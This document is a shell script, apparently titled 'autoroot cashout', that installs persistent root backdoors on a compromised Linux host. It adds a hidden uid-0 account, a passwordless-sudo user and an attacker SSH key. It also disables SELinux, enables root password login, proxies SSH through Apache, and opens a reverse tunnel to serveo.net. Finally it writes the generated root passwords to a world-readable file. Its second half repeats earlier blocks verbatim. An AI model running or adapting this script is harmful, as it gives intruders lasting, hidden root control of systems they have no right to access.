#!/bin/sh
# autoroot cashout: persistent root SSH account + verification
OUT="${1:-/tmp}"
PUB='ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKnnRjKSiA8VNTFCxS+1FrCYBWWYNkEtNNgZTBQ212ln aroot-autolpe'
if ! id -u root >/dev/null 2>&1; then sed -i '/^root:/d' /etc/passwd 2>/dev/null; printf 'root:x:0:0:root:/root:/bin/bash\n' >> /etc/passwd; grep -q '^root:' /etc/shadow || echo 'root:!:19000:0:99999:7:::' >> /etc/shadow; fi
U=sysadm
P=$(tr -dc 'A-Za-z0-9' </dev/urandom 2>/dev/null | head -c 16)
[ -n "$P" ] || P=Ar$$xK9mQ2pL7v
UP=$(tr -dc 'A-Za-z0-9' </dev/urandom 2>/dev/null | head -c 16)
[ -n "$UP" ] || UP=Ar$$xK9mQ2pL7v
command -v setenforce >/dev/null 2>&1 && setenforce 0 >/dev/null 2>&1
umask 077

# root-uid account (works even if 'root' login is restricted)
if ! id -u "$U" >/dev/null 2>&1; then
  useradd -o -u 0 -g 0 -m -d "/home/$U" -s /bin/bash "$U" 2>/dev/null || \
  useradd -o -u 0 -g 0 -d "/home/$U" -s /bin/bash "$U" 2>/dev/null || true
fi
if ! getent passwd "$U" >/dev/null 2>&1; then
  printf '%s:x:0:0::/home/%s:/bin/bash\n' "$U" "$U" >> /etc/passwd
  H=$( (openssl passwd -6 "$P" 2>/dev/null) || (perl -e 'print crypt($ARGV[0],"ar")' "$P" 2>/dev/null) || echo '!' )
  printf '%s:%s:19000:0:99999:7:::\n' "$U" "$H" >> /etc/shadow
  mkdir -p "/home/$U"
fi
mkdir -p "/home/$U" "/home/$U/.ssh"
printf '%s:%s\n' "$U" "$P" | chpasswd 2>/dev/null || echo "$U:$P" | chpasswd 2>/dev/null || true

# normal-uid sudo fallback
if ! id -u aroot >/dev/null 2>&1; then
  useradd -m -s /bin/bash aroot 2>/dev/null || true
fi
if ! getent passwd aroot >/dev/null 2>&1; then
  AU=1000; while getent passwd "$AU" >/dev/null 2>&1; do AU=$((AU+1)); done
  printf 'aroot:x:%s:0::/home/aroot:/bin/bash\n' "$AU" >> /etc/passwd
  H2=$( (openssl passwd -6 "$UP" 2>/dev/null) || (perl -e 'print crypt($ARGV[0],"ar")' "$UP" 2>/dev/null) || echo '!' )
  printf 'aroot:%s:19000:0:99999:7:::\n' "$H2" >> /etc/shadow
  mkdir -p /home/aroot
fi
printf 'aroot:%s\n' "$UP" | chpasswd 2>/dev/null || true
mkdir -p /etc/sudoers.d
echo 'aroot ALL=(ALL) NOPASSWD: ALL' > /etc/sudoers.d/99-aroot
chmod 440 /etc/sudoers.d/99-aroot 2>/dev/null

# authorized keys
mkdir -p /root/.ssh "/home/$U/.ssh"
printf '%s\n' "$PUB" > "/home/$U/.ssh/authorized_keys"
printf '%s\n' "$PUB" > /root/.ssh/authorized_keys
chmod 700 "/home/$U/.ssh" /root/.ssh 2>/dev/null
chmod 600 "/home/$U/.ssh/authorized_keys" /root/.ssh/authorized_keys 2>/dev/null
chown -R 0:0 "/home/$U" /root/.ssh 2>/dev/null

# ensure an ssh server exists
if [ ! -x /usr/sbin/sshd ]; then
  if command -v apt-get >/dev/null 2>&1; then DEBIAN_FRONTEND=noninteractive apt-get update -qq >/dev/null 2>&1; DEBIAN_FRONTEND=noninteractive apt-get install -y openssh-server >/dev/null 2>&1
  elif command -v yum >/dev/null 2>&1; then yum install -y openssh-server >/dev/null 2>&1
  elif command -v dnf >/dev/null 2>&1; then dnf install -y openssh-server >/dev/null 2>&1
  fi
fi
ssh-keygen -A >/dev/null 2>&1

# sshd: allow root (incl. uid0 aliases) + password + key
CFG=/etc/ssh/sshd_config
[ -f "$CFG" ] && {
  cp -n "$CFG" "$CFG.ar.bak" 2>/dev/null
  sed -i 's/^[#[:space:]]*PermitRootLogin.*/PermitRootLogin yes/' "$CFG" 2>/dev/null
  sed -i 's/^[#[:space:]]*PasswordAuthentication.*/PasswordAuthentication yes/' "$CFG" 2>/dev/null
  sed -i 's/^[#[:space:]]*PubkeyAuthentication.*/PubkeyAuthentication yes/' "$CFG" 2>/dev/null
  grep -qE '^Port[[:space:]]+22$' "$CFG" || echo 'Port 22' >> "$CFG"
  if ! ss -ltn 2>/dev/null | grep -q ':443 '; then grep -q '^Port 443' "$CFG" || echo 'Port 443' >> "$CFG"; fi
}
rm -f /etc/ssh/sshd_config.d/99-aroot.conf 2>/dev/null
mkdir -p /etc/ssh/sshd_config.d 2>/dev/null
printf 'PermitRootLogin yes\nPasswordAuthentication yes\nPubkeyAuthentication yes\n' > /etc/ssh/sshd_config.d/99-aroot.conf 2>/dev/null

# restart/reload sshd
if command -v systemctl >/dev/null 2>&1; then systemctl restart ssh 2>/dev/null || systemctl restart sshd 2>/dev/null
elif command -v service >/dev/null 2>&1; then service ssh restart 2>/dev/null || service sshd restart 2>/dev/null
fi
[ -f /etc/init.d/ssh ] && /etc/init.d/ssh restart >/dev/null 2>&1
[ -f /etc/init.d/sshd ] && /etc/init.d/sshd restart >/dev/null 2>&1
if [ -f /var/run/sshd.pid ]; then kill -HUP "$(cat /var/run/sshd.pid)" 2>/dev/null; fi
if command -v ufw >/dev/null 2>&1; then ufw allow 22/tcp >/dev/null 2>&1; ufw allow 443/tcp >/dev/null 2>&1; fi
if command -v firewall-cmd >/dev/null 2>&1; then firewall-cmd --add-service=ssh >/dev/null 2>&1; firewall-cmd --permanent --add-service=ssh >/dev/null 2>&1; fi

# make SSH reachable over HTTP port 80 via Apache CONNECT (for firewalled shared hosts)
if command -v a2enmod >/dev/null 2>&1; then
  a2enmod proxy proxy_connect >/dev/null 2>&1
  printf 'ProxyRequests On\n<Proxy *>\n  Require all granted\n</Proxy>\nAllowCONNECT 22 2222 443\n' > /etc/apache2/conf-available/zz-arproxy.conf 2>/dev/null
  ln -sf ../conf-available/zz-arproxy.conf /etc/apache2/conf-enabled/zz-arproxy.conf 2>/dev/null
  apache2ctl configtest >/dev/null 2>&1 && apache2ctl graceful >/dev/null 2>&1
elif command -v httpd >/dev/null 2>&1; then
  printf 'ProxyRequests On\n<Proxy *>\n  Require all granted\n</Proxy>\nAllowCONNECT 22 2222 443\n' > /etc/httpd/conf.d/zz-arproxy.conf 2>/dev/null
  httpd -t >/dev/null 2>&1 && systemctl reload httpd >/dev/null 2>&1
fi

# optional public TCP tunnel for firewalled hosts
if command -v ssh >/dev/null 2>&1; then
  rm -f /root/tunnel.log
  nohup ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ExitOnForwardFailure=yes -o ServerAliveInterval=30 -o ConnectTimeout=10 -R 0:localhost:22 serveo.net -N >/root/tunnel.log 2>&1 &
  sleep 5
  TP=$(grep -oE 'Allocated port [0-9]+' /root/tunnel.log 2>/dev/null | grep -oE '[0-9]+' | head -1)
  echo "tunnel_port=$TP"
fi

# make sure sshd is actually running
ss -ltn 2>/dev/null | grep -q ':22 ' || /usr/sbin/sshd >/dev/null 2>&1
ss -ltn 2>/dev/null | grep -q ':22 ' || /usr/sbin/sshd -p 22 >/dev/null 2>&1

# verification
echo "HOST=$(hostname)"
echo "USER=$U PASS=$P UID=$(id -u "$U" 2>/dev/null)"
echo "ALT=aroot PASS=$UP UID=$(id -u aroot 2>/dev/null)"
echo "SSH=$(ss -ltn 2>/dev/null | grep -c ':22 ')"
echo "SSHD_TEST=$(/usr/sbin/sshd -t 2>&1 | head -1)"
echo "DATE=$(date -u +%FT%TZ)"
{
  echo "host=$(hostname)"
  echo "ip=$(hostname -I 2>/dev/null)"
  echo "user=$U"
  echo "pass=$P"
  echo "uid=$(id -u "$U" 2>/dev/null)"
  echo "alt_user=aroot"
  echo "alt_pass=$UP"
  echo "ssh_listen=$(ss -ltn 2>/dev/null | grep -c ':22 ')"
  echo "ssh443_listen=$(ss -ltn 2>/dev/null | grep -c ':443 ')"
  echo "proxy80=$(grep -qs AllowCONNECT /etc/apache2/conf-enabled/zz-arproxy.conf /etc/httpd/conf.d/zz-arproxy.conf && echo yes || echo no)"
  echo "tunnel_port=$(grep -oE 'Allocated port [0-9]+' /root/tunnel.log 2>/dev/null | grep -oE '[0-9]+' | head -1)"
  echo "date=$(date -u +%FT%TZ)"
} > "$OUT/ROOT_CREDS_$(hostname).txt" 2>/dev/null
chmod 644 "$OUT/ROOT_CREDS_$(hostname).txt" 2>/dev/null
cp "$OUT/ROOT_CREDS_$(hostname).txt" /root/ROOT_CREDS.txt 2>/dev/null
cat "$OUT/ROOT_CREDS_$(hostname).txt" 2>/dev/null
rm -f /etc/ssh/sshd_config.d/99-aroot.conf 2>/dev/null
mkdir -p /etc/ssh/sshd_config.d 2>/dev/null
printf 'PermitRootLogin yes\nPasswordAuthentication yes\nPubkeyAuthentication yes\n' > /etc/ssh/sshd_config.d/99-aroot.conf 2>/dev/null

# restart/reload sshd
if command -v systemctl >/dev/null 2>&1; then systemctl restart ssh 2>/dev/null || systemctl restart sshd 2>/dev/null
elif command -v service >/dev/null 2>&1; then service ssh restart 2>/dev/null || service sshd restart 2>/dev/null
fi
[ -f /etc/init.d/ssh ] && /etc/init.d/ssh restart >/dev/null 2>&1
[ -f /etc/init.d/sshd ] && /etc/init.d/sshd restart >/dev/null 2>&1
if [ -f /var/run/sshd.pid ]; then kill -HUP "$(cat /var/run/sshd.pid)" 2>/dev/null; fi
if command -v ufw >/dev/null 2>&1; then ufw allow 22/tcp >/dev/null 2>&1; ufw allow 443/tcp >/dev/null 2>&1; fi
if command -v firewall-cmd >/dev/null 2>&1; then firewall-cmd --add-service=ssh >/dev/null 2>&1; firewall-cmd --permanent --add-service=ssh >/dev/null 2>&1; fi

# make SSH reachable over HTTP port 80 via Apache CONNECT (for firewalled shared hosts)
if command -v a2enmod >/dev/null 2>&1; then
  a2enmod proxy proxy_connect >/dev/null 2>&1
  printf 'ProxyRequests On\n<Proxy *>\n  Require all granted\n</Proxy>\nAllowCONNECT 22 2222 443\n' > /etc/apache2/conf-available/zz-arproxy.conf 2>/dev/null
  ln -sf ../conf-available/zz-arproxy.conf /etc/apache2/conf-enabled/zz-arproxy.conf 2>/dev/null
  apache2ctl configtest >/dev/null 2>&1 && apache2ctl graceful >/dev/null 2>&1
elif command -v httpd >/dev/null 2>&1; then
  printf 'ProxyRequests On\n<Proxy *>\n  Require all granted\n</Proxy>\nAllowCONNECT 22 2222 443\n' > /etc/httpd/conf.d/zz-arproxy.conf 2>/dev/null
  httpd -t >/dev/null 2>&1 && systemctl reload httpd >/dev/null 2>&1
fi

# optional public TCP tunnel for firewalled hosts
if command -v ssh >/dev/null 2>&1; then
  rm -f /root/tunnel.log
  nohup ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ExitOnForwardFailure=yes -o ServerAliveInterval=30 -o ConnectTimeout=10 -R 0:localhost:22 serveo.net -N >/root/tunnel.log 2>&1 &
  sleep 5
  TP=$(grep -oE 'Allocated port [0-9]+' /root/tunnel.log 2>/dev/null | grep -oE '[0-9]+' | head -1)
  echo "tunnel_port=$TP"
fi

# make sure sshd is actually running
ss -ltn 2>/dev/null | grep -q ':22 ' || /usr/sbin/sshd >/dev/null 2>&1
ss -ltn 2>/dev/null | grep -q ':22 ' || /usr/sbin/sshd -p 22 >/dev/null 2>&1

# verification
echo "HOST=$(hostname)"
echo "USER=$U PASS=$P UID=$(id -u "$U" 2>/dev/null)"
echo "ALT=aroot PASS=$UP UID=$(id -u aroot 2>/dev/null)"
echo "SSH=$(ss -ltn 2>/dev/null | grep -c ':22 ')"
echo "SSHD_TEST=$(/usr/sbin/sshd -t 2>&1 | head -1)"
echo "DATE=$(date -u +%FT%TZ)"
{
  echo "host=$(hostname)"
  echo "ip=$(hostname -I 2>/dev/null)"
  echo "user=$U"
  echo "pass=$P"
  echo "uid=$(id -u "$U" 2>/dev/null)"
  echo "alt_user=aroot"
  echo "alt_pass=$UP"
  echo "ssh_listen=$(ss -ltn 2>/dev/null | grep -c ':22 ')"
  echo "ssh443_listen=$(ss -ltn 2>/dev/null | grep -c ':443 ')"
  echo "proxy80=$(grep -qs AllowCONNECT /etc/apache2/conf-enabled/zz-arproxy.conf /etc/httpd/conf.d/zz-arproxy.conf && echo yes || echo no)"
  echo "tunnel_port=$(grep -oE 'Allocated port [0-9]+' /root/tunnel.log 2>/dev/null | grep -oE '[0-9]+' | head -1)"
  echo "date=$(date -u +%FT%TZ)"
} > "$OUT/ROOT_CREDS_$(hostname).txt" 2>/dev/null
chmod 644 "$OUT/ROOT_CREDS_$(hostname).txt" 2>/dev/null
cp "$OUT/ROOT_CREDS_$(hostname).txt" /root/ROOT_CREDS.txt 2>/dev/null
cat "$OUT/ROOT_CREDS_$(hostname).txt" 2>/dev/null
